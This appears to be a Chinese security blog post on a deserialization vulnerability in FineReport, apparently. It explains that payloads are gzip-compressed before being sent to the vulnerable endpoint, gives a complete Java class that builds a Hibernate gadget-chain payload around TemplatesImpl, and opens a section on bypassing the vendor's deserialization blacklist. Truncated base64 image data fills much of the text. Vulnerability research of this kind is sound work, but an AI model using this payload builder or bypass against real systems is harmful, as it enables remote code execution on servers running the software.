<a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124183747-9da75d5e-baa4-1.png><img src="data:image/png;base64,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
所以我们构造的序列化数据，要先经过gzip压缩，再向漏洞接口发送<br>
<a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124184033-008e478e-baa5-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABrEAAAGMCAYAAAB9D4lBAADONUlEQVR4nOz9eXSTZf4//j+v+cz5Qvr+HmnapG3ShiXV1qQVmBErtNAFUEZnhBaRVly+INvgiDoqvhl9Hxk8Hx2173FccNeR48KALKLjjONSoQWKFp1ha2vBLnRJl3TT35kGPsu5fn/cWZulSZs2KT4f53BOmt7XfV33fV9Jyv3K63qJmbOvkSAiIiIiIiIiIiIiIiKKIj+J9ACIiIiIiIiIiIiIiIiIBmMQi4iIiIiIiIiIiIiIiKIOg1hEREREREREREREREQUdRjEIiIiIiIiIiIiIiIioqjDIBYRERERERERERERERFFnZ9GegBEREREREREP3b/oZs47Lb/bj8fxpEQEREREUUPZmIRERERERERERERERFR1GEQi4iIiIiIiIiIiIiIiKIOg1hEREREREREREREREQUdRjEIiIiIiIiIiIiIiIioqjDIBYRERERERERERERERFFHQaxiIiIiIiIiIiIiIiIKOowiEVERERERERERERERERRh0EsIiIiIiIiIiIiIiIiijoMYhEREREREREREREREVHUYRCLiIiIiIiIiIiIiIiIog6DWERERERERERERERERBR1GMQiIiIiIiIiIiIiIiKiqMMgFhEREREREREREREREUWdn0Z6ABSdpJyCq3PvwiqDHvL7D/D4R7vQKkSkh0VueI2imzZvPVblaHz+7sz+/4n9Nb6vlTQvw38Wpvv8Xc+R1/BGeVfYxhhNpDRCfftmGM0GSOsu1PzxTVzgfKYwkwn5WFMIfPjKAVg5v5z4fjX6pExA3rIixNW+7Pd8EtHok1KFvJunYaMpBtJqwYPPt6FpnHweSHU6Zs+cDeOUeMTZx9xw4L/xcdP4GD8RERER0XAxiBVlpJyCol89hkWTBDpOP4StJ8+F1j52OX5/3WIk+fjP2PHDK/BKc5D/yZmyFKsMegCAmLQEq2d8FfJYaJSNg2s00vlMPyIzb4XRbAAACG0xjIsqUPtpQ4QHRRcTmZCPNauzES8EFufXeAVY+H5Foykhvwiz0zVA+n+hEP4Dg9GArwW6qE3XY6MpBgAgtHrcu7AP95bZIjyoocmpi3FXwWWRHgYRERERUUQwiEU/ejI2B0VXFGJGCnDi4wewv39sbixFqt8fm0ifZ9l9BNu9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
如何构造序列化数据呢，可以利用cb链或者hibernate链，需要注意的是这里的包名不是正常maven下载的依赖的包名，所以有些payload构造也会有所差别，构造hibernate链<br>
<a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124184545-ba4d5eb2-baa5-1.png><img src=data:image/png;base64,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
<pre><code>import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;
import com.fr.third.org.hibernate.type.Type;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Hibernate {
public static byte[] getPayload(byte[] bytes) throws Exception {
Class&lt;?&gt; componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Class&lt;?&gt; pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Class&lt;?&gt; abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
TemplatesImpl tmpl = utils.getTeml(bytes);
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter;
try {
Class&lt;?&gt; getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor&lt;?&gt; constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
Class&lt;?&gt; basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor&lt;?&gt; constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
}
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass);
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
field.set(tuplizer, getters);
Object type = utils.createInstanceUnsafely(componentTypeClass);
utils.setFieldValue(type,"componentTuplizer",tuplizer);
utils.setFieldValue(type,"propertySpan",1);
utils.setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
TypedValue typedValue = new TypedValue((Type) type, null);
HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();
hashMap.put(typedValue, "123");
utils.setFieldValue(typedValue,"value", tmpl);
byte[] ser = utils.serialize(hashMap);
byte[] payload = utils.GzipCompress(ser);
return payload;
}
}</code></pre>
<h2 id=toc-2>反序列化绕过</h2>
<p>之后官方对其进行了修复，修复方式是增加了反序列化黑名单，禁止了一些类的反序列化，包括了cb、hibernate以及一些反序列化中常用的类<br>
<a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124190345-3e4f4638-baa8-1.png><img src="data:image/png;base64,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